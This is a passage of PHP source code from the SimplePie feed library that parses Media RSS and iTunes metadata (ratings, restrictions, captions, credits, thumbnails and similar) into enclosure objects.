SIMPLEPIE_CONSTRUCT_IRI); } } // RATINGS if ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } elseif ($ratings = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } } if (is_array($ratings_parent)) { $ratings_parent = array_values(array_unique($ratings_parent)); } // RESTRICTIONS if ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } elseif ($restrictions = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } } if (is_array($restrictions_parent)) { $restrictions_parent = array_values(array_unique($restrictions_parent)); } else { $restrictions_parent = array(new SimplePie_Restriction('allow', null, 'default')); } // THUMBNAILS if ($thumbnails = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } } elseif ($thumbnails = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } } } // TITLES if ($title_parent = $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } elseif ($title_parent = $parent->get_channel_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } } // Clear the memory unset($parent); // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // If we have media:group tags, loop through them. foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_MEDIARSS, 'group') as $group) { if(isset($group['child']) && isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) { // If we have media:content tags, loop through them. foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = ceil($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); } $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } // COPYRIGHTS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', array($credit_role, $credit_scheme, $credit_name)); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'])) { if (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } else { $player = $player_parent; } // RATINGS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', array($rating_scheme, $rating_value)); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', array($restriction_relationship, $restriction_type, $restriction_value)); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', array($url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width)); } } } } // If we have standalone media:content tags, loop through them. if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'])) { foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url']) || isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = ceil($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['attribs']['']['url'])) { $url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI); } // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', array($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text)); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', array($term, $scheme, $label)); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } else { $categories = null; } // COPYRIGHTS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT); } if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', array($copyright_url, $copyright_label)); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT); } if 